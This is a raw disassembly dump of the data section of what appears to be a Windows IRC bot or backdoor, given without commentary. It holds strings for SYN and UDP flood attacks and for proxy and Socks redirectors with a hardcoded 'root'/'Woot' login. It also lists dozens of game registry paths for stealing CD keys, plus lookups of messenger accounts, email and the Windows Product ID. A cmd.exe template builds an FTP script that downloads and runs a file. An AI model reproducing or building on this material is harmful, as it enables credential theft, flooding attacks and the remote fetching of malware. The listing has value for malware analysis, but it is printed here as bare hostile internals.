sub_427B10+Co align 10h aForsyn db 'forsyn',0 ; DATA XREF: sub_427C90+22o align 4 aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o align 10h dd 0 aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o align 10h dd 0 aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o align 10h aSyn db 'syn',0 ; DATA XREF: sub_4281A0+22o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o align 10h aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o align 4 dd 0 aUdp db 'udp',0 ; DATA XREF: sub_428880+22o aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_428940+C0o align 10h dd 0 aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o align 10h dd 0 off_446F04 dd offset byte_455247 ; DATA XREF: sub_4290B0+22o aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_429330+AAo dd 3 dup(0) aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_429330+33o align 4 dd 3 dup(0) aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Connection to %s:%d has failed',0Ah,0 align 4 dd 7 dup(0) aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Error Resolving %s',0Ah,0 align 10h dd 6 dup(0) aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o db 0Dh,0Ah,0 dd 2 dup(0) aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o ; ___:0042A147o align 10h aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o ; ___:0042A129o align 10h aConnection db 'Connection:',0 ; DATA XREF: ___:00429F54o align 10h aChunked db 'chunked',0 ; DATA XREF: ___:00429F11o dd 0 aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o align 10h dd 0 aContentLength db 'Content-Length:',0 ; DATA XREF: ___:00429E2Do align 8 aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C8Eo db 'Connection: close',0Dh,0Ah db '%s',0 align 10h aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C59o db 'Connection: Keep-Alive',0Dh,0Ah db '%s',0 align 4 dd 0 aKeepAlive db 'Keep-Alive',0 ; DATA XREF: ___:loc_429B5Bo ; ___:00429FA0o align 4 dd 0 aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o align 10h dd 0 asc_4471F4 db 0Dh,0Ah,0 ; DATA XREF: ___:00429A1Co ; ___:00429ADCo ... align 4 aHttprox db 'HTTPROX',0 ; DATA XREF: ___:004299E7o dd 0 aConnect db 'connect',0 ; DATA XREF: ___:004297B2o align 10h aConnect_0 db 'CONNECT',0 ; DATA XREF: ___:0042977Do dd 0 off_44721C dd offset byte_544547 ; DATA XREF: ___:004296B8o aHttp_0 db 'HTTP',0 ; DATA XREF: sub_42ACB0+22o align 4 aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o align 10h aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo dd 2 dup(0) aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o dd 2 dup(0) aSocks4 db 'Socks4',0 ; DATA XREF: sub_42AFF0+22o ; sub_42B380+22o align 4 aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o align 4 dd 0 aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co align 4 dd 2 dup(0) dword_4472FC dd 1000005h, 0 dword_447304 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0 ; DATA XREF: sub_42CB70+20Fo align 10h dd 3 dup(0) aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0 ; DATA XREF: sub_42CB70+3Fo align 10h aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0 ; DATA XREF: ___:0042D725o dd 3 dup(0) aRoot db 'root',0 ; DATA XREF: ___:0042D6B1o align 4 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: ___:004473CCo align 4 aNetworkFailedT db 'Network failed to start: %d',0Ah,0 align 4 dd 0 aCalloc db 'calloc',0 align 4 aSetsockopt db 'setsockopt',0 align 10h dd 0 aSocket db 'socket',0 align 4 aGethostbyname db 'gethostbyname',0 align 4 aGetservbyname db 'getservbyname',0 align 4 aTcp db 'tcp',0 ; DATA XREF: sub_42DB00+49o ; sub_42DB00:loc_42DBBDo aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o align 10h aRead db 'read',0 ; DATA XREF: sub_42DF40:loc_42E0DCo align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_42E3C0+72o dd 0 aUserS db 'USER %s',0 ; DATA XREF: sub_42E3C0+3Do align 10h aWrite db 'write',0 align 4 aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42E490+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o align 8 dword_4474A8 dd 524F5453h byte_4474AC db 0 ; DATA XREF: sub_42E5B0+EDr align 10h dword_4474B0 dd 52544552h byte_4474B4 db 0 ; DATA XREF: sub_42E5B0+D3r align 4 dword_4474B8 dd 5453494Ch byte_4474BC db 0 ; DATA XREF: sub_42E5B0+B8r align 10h dword_4474C0 dd 54534C4Eh byte_4474C4 db 0 ; DATA XREF: sub_42E5B0+9Er align 4 dword_4474C8 dd 45505954h, 632520h, 0 ; ___:0042F9BAo aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_42E5B0+2Do align 10h dd 2 dup(0) aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 align 10h dd 0 aListen db 'listen',0 align 4 aBind db 'bind',0 align 4 aGetsockname db 'getsockname',0 dd 0 aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo align 4 dd 0 aPasv db 'PASV',0 ; DATA XREF: sub_42E870+B4o align 4 aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o align 4 aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o align 10h dd 0 aTimedOutWaitin db 'timed out waiting for connection',0 align 4 dd 0 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 align 4 dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo align 4 dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo align 4 dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042F3CEo align 8 aSyst db 'SYST',0 ; DATA XREF: ___:0042F42Do align 10h aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042F4BEo align 4 aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042F53Eo align 10h aCdup db 'CDUP',0 ; DATA XREF: ___:0042F597o align 4 aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042F5EEo align 10h off_447680 dd offset aSendtoSocketFa+20h ; DATA XREF: ___:0042F64Do aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42F6F0:loc_42F871o align 8 aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o align 10h word_4476C0 dw 77h ; DATA XREF: sub_42F6F0+1Fr align 4 dword_4476C4 dd 25206425h, 64hdword_4476CC dd 455A4953h, 732520h, 0dword_4476D8 dd 4D54444Dh, 732520h, 0dword_4476E4 dd 4F544E52h, 732520h, 0dword_4476F0 dd 52464E52h, 732520h, 0dword_4476FC dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42FD30+10o align 10h dword_447710 dd 1 ; sub_431750+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o align 10h dd 0 aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_432570+6o align 4 aA: ; DATA XREF: sub_434D10+36o unicode 0, <─>,0 dd 12h dup(0) dd offset aBattlefield194 ; "[Battlefield 1942: " dd 80000002h, 448864h, 448F40h, 448830h, 80000002h, 4487D0h dd 448F40h, 4487A0h, 80000002h, 448748h, 448F40h, 448724h dd 80000002h, 4486DCh, 448F40h, 4486C4h, 80000002h, 448680h dd 448F40h, 448658h, 80000002h, 44861Ch, 448F40h, 4485E8h dd 80000002h, 448588h, 448F40h, 44855Ch, 80000002h, 448538h dd 448530h, 448504h, 80000002h, 4484DCh, 448530h, 4484C4h dd 80000001h, 448494h, 448490h, 448480h, 80000002h, 448444h dd 448F40h, 448434h, 80000002h, 4483F8h, 448F40h, 4483E4h dd 80000002h, 44839Ch, 448F40h, 448380h, 80000002h, 44833Ch dd 448F40h, 448320h, 80000001h, 4482F8h, 448490h, 4482E8h dd 80000001h, 4482C0h, 448490h, 4482A0h, 80000002h, 448264h dd 448260h, 448244h, 80000002h, 448220h, 448218h, 448200h dd 80000001h, 4481D4h, 4481CCh, 4481A8h, 80000002h, 44815Ch dd 448F40h, 448134h, 80000002h, 4480E0h, 448F40h, 4480A8h dd 80000002h, 448044h, 448F40h, 448010h, 80000002h, 447FB0h dd 448F40h, 447F94h, 80000002h, 447F4Ch, 448F40h, 447F30h dd 80000002h, 447EE8h, 448F40h, 447ED8h, 80000002h, 447E9Ch dd 448F40h, 447E8Ch, 80000002h, 447E50h, 448F40h, 447E28h dd 80000002h, 447DD4h, 448F40h, 447DACh, 80000002h, 447D5Ch dd 448F40h, 447D40h, 80000002h, 447D18h, 448490h, 447D04h dd 80000002h, 447CCCh, 448F40h, 447C9Ch, 80000002h, 447C44h dd 448F40h, 447C28h, 80000001h, 447BD8h, 447BD0h, 447BB4h dd 80000002h, 447B70h, 447B64h, 447B4Ch, 80000001h, 447B1Ch dd 447B10h, 447AF0h, 80000002h, 447AB4h, 447BD0h, 447A94h dd 80000002h, 447A58h, 447BD0h, 1Eh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0 align 4 dd 2 dup(0) aUnrealTourname db '[Unreal Tournament 2004: ',0 align 10h dd 0 aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0 align 10h aUnrealTourna_0 db '[Unreal Tournament 2003: ',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 dd 2 dup(0) aTheGladiators db '[The Gladiators: ',0 align 10h dd 0 aSof2key db 'sof2key',0 align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 dd 2 dup(0) aSoldierOfFortu db '[Soldier Of Fortune 2: ',0 align 10h aCdkey db 'CDKey',0 align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 dd 3 dup(0) aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0 align 10h dd 0 aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 10h dd 3 dup(0) aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0 align 4 dd 2 dup(0) aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0 align 4 dd 2 dup(0) dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aNeverwinterNig db '[Neverwinter Nights: ',0 align 4 dd 0 aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 10h dd 3 dup(0) aNeedForSpeedUn db '[Need For Speed: Underground: ',0 align 4 dd 2 dup(0) aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er' db 'gc',0 dd 4 dup(0) aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0 align 10h aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A33h, 0 aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A32h, 0 aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing20 db '[Nascar Racing 2003: ',0 align 4 dd 0 aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 dd 3 dup(0) aNascarRacing_0 db '[Nascar Racing 2002: ',0 align 10h aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 10h dd 4 dup(0) aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0 dd 2 dup(0) aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 dd 4 dup(0) aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0 align 10h aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 4 dd 3 dup(0) aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0 align 4 dd 0 aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 dd 3 dup(0) aJamesBond007Ni db '[James Bond 007: Nightfire: ',0 align 4 dd 0 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aIndustryGiant2 db '[Industry Giant 2: ',0 align 8 aCdkey_0 db 'CDkey',0 align 10h aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0 dd 2 dup(0) aIgi2CovertStri db '[IGI2: Covert Strike: ',0 align 10h aKey db 'key',0 aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aHiddenAndDange db '[Hidden and Dangerous 2: ',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 8 aHalfLife db '[Half-Life: ',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aGunmanChronicl db '[Gunman Chronicles: ',0 align 4 dd 0 aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aGlobalOperatio db '[Global Operations: ',0 align 4 dd 0 aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0 dd 3 dup(0) aFreedomForce db '[Freedom Force: ',0 align 4 aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3330h, 0 aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aFifa2002 db '[FIFA 2002: ',0 align 10h aKey_0 db 'Key',0 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 align 4 dd 2 dup(0) aCounterStrike db '[Counter-Strike: ',0 align 4 dd 0 aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0 align 4 dd 2 dup(0) aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0 align 10h aSerial db 'Serial',0 align 4 aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0 align 4 dd 0 aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0 align 10h dd 2 dup(0) aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 4 dd 4 dup(0) aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0 dd 2 dup(0) aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0 dd 3 dup(0) aCommandAndCo_2 db '[Command and Conquer: Generals: ',0 align 10h aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 dd 3 dup(0) aBlackAndWhite db '[Black and White: ',0 align 4 dd 0 aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 dd 3 dup(0) aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0 dd 2 dup(0) aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 10h aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0 align 10h aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 10h dd 4 dup(0) aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0 dd 2 dup(0) db 53h aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 dd 3 dup(0) aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447790o align 10h aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:004362A4o align 4 aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00436268o align 10h aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao align 4 dd 0 dword_4488FC dd 3A6D6961h, 732520h, 0dword_448908 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion' ; DATA XREF: ___:0043616Co db '\Login',0 dd 4 dup(0) aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 align 4 dd 0 aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 align 8 aSMainS db '%s\main\%s',0 align 8 aCodkey db 'codkey',0 align 10h aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 align 8 aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 align 10h dd 0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 dd 0 dd 625C7325h, 5C657361h, 255C706Dh, 73h aInstallpath db 'InstallPath',0 dd 0 dword_448A3C dd 3A6E736Dh, 732520h, 0dword_448A48 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: ___:00436737o db 'ice',0 align 4 dd 3 dup(0) aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo align 10h aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo align 4 dd 2 dup(0) aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o align 4 dd 2 dup(0) aProductid db 'ProductId',0 ; DATA XREF: sub_4369E0+52Bo align 4 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4369E0+4FEo align 4 dd 2 dup(0) aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4369E0+4A4o align 8 aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4369E0+3BBo align 4 loc_448B74: ; DATA XREF: sub_4369E0+2D3o dec eax dec ebx inc ebx inc ebx cmp ah, [eax] and eax, 73h loc_448B7F: ; DATA XREF: sub_4369E0+1EBo add [eax+4Bh], cl dec esp dec ebp cmp ah, [eax] and eax, 73h loc_448B8B: ; DATA XREF: sub_4369E0+103o add [eax+4Bh], cl inc ebx push ebp cmp ah, [eax] and eax, 73h loc_448B97: ; DATA XREF: ___:004371A6o ; ___:00437400o ... add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cx, 0FFFFh loc_448BA8: ; CODE XREF: ___:00448BADj xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_448BA8 ; --------------------------------------------------------------------------- db 0 dd 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: ___:0043762Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Ch dup(0) off_448CA0 dd offset off_43F1D4 ; DATA XREF: ___:off_43F318o ; ___:0043F354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 9Fh dup(0) byte_448F40 db 0 ; DATA XREF: sub_403530+95o ; sub_404690+200o ... align 4 dword_448F44 dd 0 ; sub_4246D0+11o ... dword_448F48 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D4BFr ... align 10h dword_448F50 dd 0 ; ___:0040D425w ... dd 8 dup(0) dword_448F74 dd 41h dup(0) ; ___:0040D460o ... dword_449078 dd 0 ; ___:loc_40D4B4r ... dword_44907C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D42Fr ... dword_449080 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D660+CAw dword_449084 dd 0 ; sub_40D660+E3r dd 11h dup(0) dword_4490CC dd 0 ; sub_410030+47Dr dword_4490D0 dd 0 ; sub_410030+515r ... dword_4490D4 dd 0 ; sub_410030+655r ... dword_4490D8 dd 0 ; sub_410030+B79r ... dword_4490DC dd 0 ; sub_410030+74Br dword_4490E0 dd 0 ; sub_410030+828r dword_4490E4 dd 0 ; sub_410030+77Cr dword_4490E8 dd 0 ; sub_410030+4DDr ... dword_4490EC dd 0 ; sub_410030+311r dword_4490F0 dd 0 ; sub_410030+34Dr ... dword_4490F4 dd 0 ; sub_410030+33Dr dword_4490F8 dd 0 ; sub_410030+3D2r dword_4490FC dd 0 ; sub_410030+E93r dword_449100 dd 0 ; sub_410030+1220r ... dword_449104 dd 0 ; sub_4120B0+4DAr dword_449108 dd 0 ; sub_410030+683r dword_44910C dd 0 ; sub_410030+6B5r dword_449110 dd 0 ; sub_410030+1252r dd 5 dup(0) dword_449128 dd 10h dup(0) ; ___:004040AFo ... db 2 dup(0) byte_44916A db 0 ; DATA XREF: sub_409B10r sub_409B80r align 4 db 3 dup(0) byte_44916F db 0 ; DATA XREF: sub_40D660+10Fr db 0 byte_449171 db 0 ; DATA XREF: sub_40DBF0r word_449172 dw 0 ; DATA XREF: sub_40DBF0+9o dd 44h dup(0) db 3 dup(0) byte_449287 db 0 ; DATA XREF: ___:00412F9Ao ; ___:0041304Fo ... db 3 dup(0) byte_44928B db 0 ; DATA XREF: sub_41F960:loc_41F99Dr align 10h dword_449290 dd 12h dup(0) ; sub_410030+114o db 0 byte_4492D9 db 3 dup(0) ; DATA XREF: ___:00408B9Fo ; sub_410030+159o ... dd 11h dup(0) db 2 dup(0) word_449322 dw 0 ; DATA XREF: ___:00408B76o ; sub_410030+132o dd 6 dup(0) word_44933C dw 0 ; DATA XREF: sub_410030+1E1r align 10h dd 0Ah dup(0) db 3 dup(0) byte_44936B db 0 ; DATA XREF: ___:00408BC8o ; sub_410030+17Co ... dd 12h dup(0) dword_4493B4 dd 12h dup(0) ; sub_410030+F7o ... db 0 byte_4493FD db 3 dup(0) ; DATA XREF: ___:00408B01o ; sub_410030+D0o ... dd 23h dup(0) db 3 dup(0) byte_44948F db 0 ; DATA XREF: ___:00408BF1o ; sub_410030+19Ao dd 24h dup(0) db 0 byte_449521 db 3 dup(0) ; DATA XREF: sub_425100+2Bo ; sub_425100+37o ... dd 11h dup(0) db 2 dup(0) word_44956A dw 0 ; DATA XREF: ___:00412F6Ao ; ___:00412F89o ... dd 3Ch dup(0) db 3 dup(0) dword_44965F dd 0 ; sub_41F030+154r ... align 4 dd 35h dup(0) db 0 byte_449739 db 0 ; DATA XREF: sub_41BA50+18r align 4 dd 36h dup(0) byte_449814 db 0 ; DATA XREF: sub_410030+842r align 4 dd 0Bh dup(0) dword_449844 dd 18h dup(0) ; sub_40EE40+97o ... db 2 dup(0) byte_4498A6 db 0 ; DATA XREF: sub_404CC0+258r ; sub_41D930+66Er align 4 dd 11h dup(0) db 3 dup(0) byte_4498EF db 0 ; DATA XREF: sub_404CC0:loc_404F30r ; sub_41D930:loc_41DFB6r dd 0Bh dup(0) db 3 dup(0) byte_44991F db 0 ; DATA XREF: sub_404CC0+279o ; sub_41D930+68Fo ... dd 12h dup(0) dword_449968 dd 2Bh dup(0) ; sub_41F030+630o ... dword_449A14 dd 0 dd 11h dup(0) db 0 dword_449A5D dd 0 align 4 dd 0D9h dup(0) byte_449DC8 db 0 ; DATA XREF: sub_41F030+146r ; sub_41F030+5EEr align 4 dd 3A8h dup(0) db 2 dup(0) word_44AC6E dw 0 ; DATA XREF: sub_404690+1BDo ; sub_404B60+31o ... db 2 dup(0) word_44AC72 dw 0 ; DATA XREF: sub_404B60+4o dd 1Ch dup(0) db 2 dup(0) word_44ACE6 dw 0 ; DATA XREF: sub_4076B0+36o ; sub_407740+3Eo ... dd 26h dup(0) dword_44AD80 dd 86h dup(0) ; sub_404CC0+27Eo ... db 3 dup(0) byte_44AF9B db 0 ; DATA XREF: sub_426930+3Bw ; sub_4269A0+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_44B19B dd 0 ; sub_4269A0+4Fw ... dword_44B19F dd 0 ; ___:0042419Dw ... dword_44B1A3 dd 0 ; sub_4269A0+5Dr ... dword_44B1A7 dd 0 ; sub_4269A0+8Cr ... dword_44B1AB dd 0 ; sub_4269A0+9Dr dword_44B1AF dd 0 ; ___:004241D1r ... byte_44B1B3 db 0 ; DATA XREF: sub_426930+42w ; sub_4269A0+85w dword_44B1B4 dd 2824h dup(0) db 3 dup(0) byte_455247 db 0 ; DATA XREF: ___:off_446F04o dword_455248 dd 0EB85h dup(0) dword_49005C dd 0BD23h dup(0) db 0 byte_4BF4E9 db 3 dup(0) ; DATA XREF: ___:off_402027o dd 46C9h dup(0) dword_4D1010 dd 0D0Fh dup(0) db 0 byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44531Co dd 0ED2h dup(0) db 3 dup(0) dword_4D7F9B dd 0 ; sub_426BD0+13o align 10h dd 39h dup(0) db 0 byte_4D8085 db 3 dup(0) ; DATA XREF: sub_404C70+1Eo ; sub_404CC0+65o ... dd 5 dup(0) byte_4D809C db 0 ; DATA XREF: sub_404CC0+292w ; sub_404CC0+4EBw dword_4D809D dd 0 ; sub_422B40:loc_4232C4r ... align 4 dd 0 db 0 dword_4D80A9 dd 0 ; sub_404C70+2Aw byte_4D80AD db 3 dup(0) ; DATA XREF: ___:00412FC4o ; ___:00412FE7o dd 9 dup(0) db 3 dup(0) dword_4D80D7 dd 0 ; sub_428DC0:loc_428EB7r align 4 dd 2Fh dup(0) db 3 dup(0) byte_4D819B db 0 ; DATA XREF: sub_426B60+16o ; sub_426B90+19o db 3 dup(0) byte_4D819F db 0 ; DATA XREF: sub_426A90+4Co dd 6Fh dup(0) db 3 dup(0) byte_4D835F db 0 ; DATA XREF: ___:0040828Do ; ___:0040871Eo ... dd 8 dup(0) dword_4D8380 dd 0 dd 51h dup(0) db 0 byte_4D84C9 db 0 ; DATA XREF: sub_427B10:loc_427BC0r ; sub_427FD0:loc_428085r ... align 4 dd 9Eh dup(0) db 0 dword_4D8745 dd 0 ; sub_427FD0+7Dw ... align 4 dd 1EDAh dup(0) db 0 byte_4E02B5 db 3 dup(0) ; DATA XREF: ___:00419F93o ; sub_41A050+13o dword_4E02B8 dd 1EB9h dup(0) db 3 dup(0) byte_4E7D9F db 0 ; DATA XREF: sub_427D50+1Do dd 21h dup(0) db 0 byte_4E7E25 db 3 dup(0) ; DATA XREF: ___:00419FA3o dd 235h dup(0) db 3 dup(0) byte_4E86FF db 0 ; DATA XREF: sub_427D50+2Fo dd 1D5h dup(0) byte_4E8E54 db 0 ; DATA XREF: sub_404CC0+299w ; sub_410030:loc_410072r ... byte_4E8E55 db 3 dup(0) ; DATA XREF: sub_404CC0+235o ; sub_404CC0+874o ... dd 4 dup(0) db 2 dup(0) word_4E8E6A dw 0 ; DATA XREF: sub_404CC0+2D4o ; ___:00408732o ... dd 0Fh dup(0) db 0 byte_4E8EA9 db 0 ; DATA XREF: sub_41F960+31w ; sub_41F960+47w ... db 0 byte_4E8EAB db 0 ; DATA XREF: sub_418590+21o ; sub_41D930+341o ... dword_4E8EAC dd 6D2Ah dup(0) dword_504354 dd 12BAh dup(0) dword_508E3C dd 1000h dup(0) ; ___:00419B9Do ... dword_50CE3C dd 333h 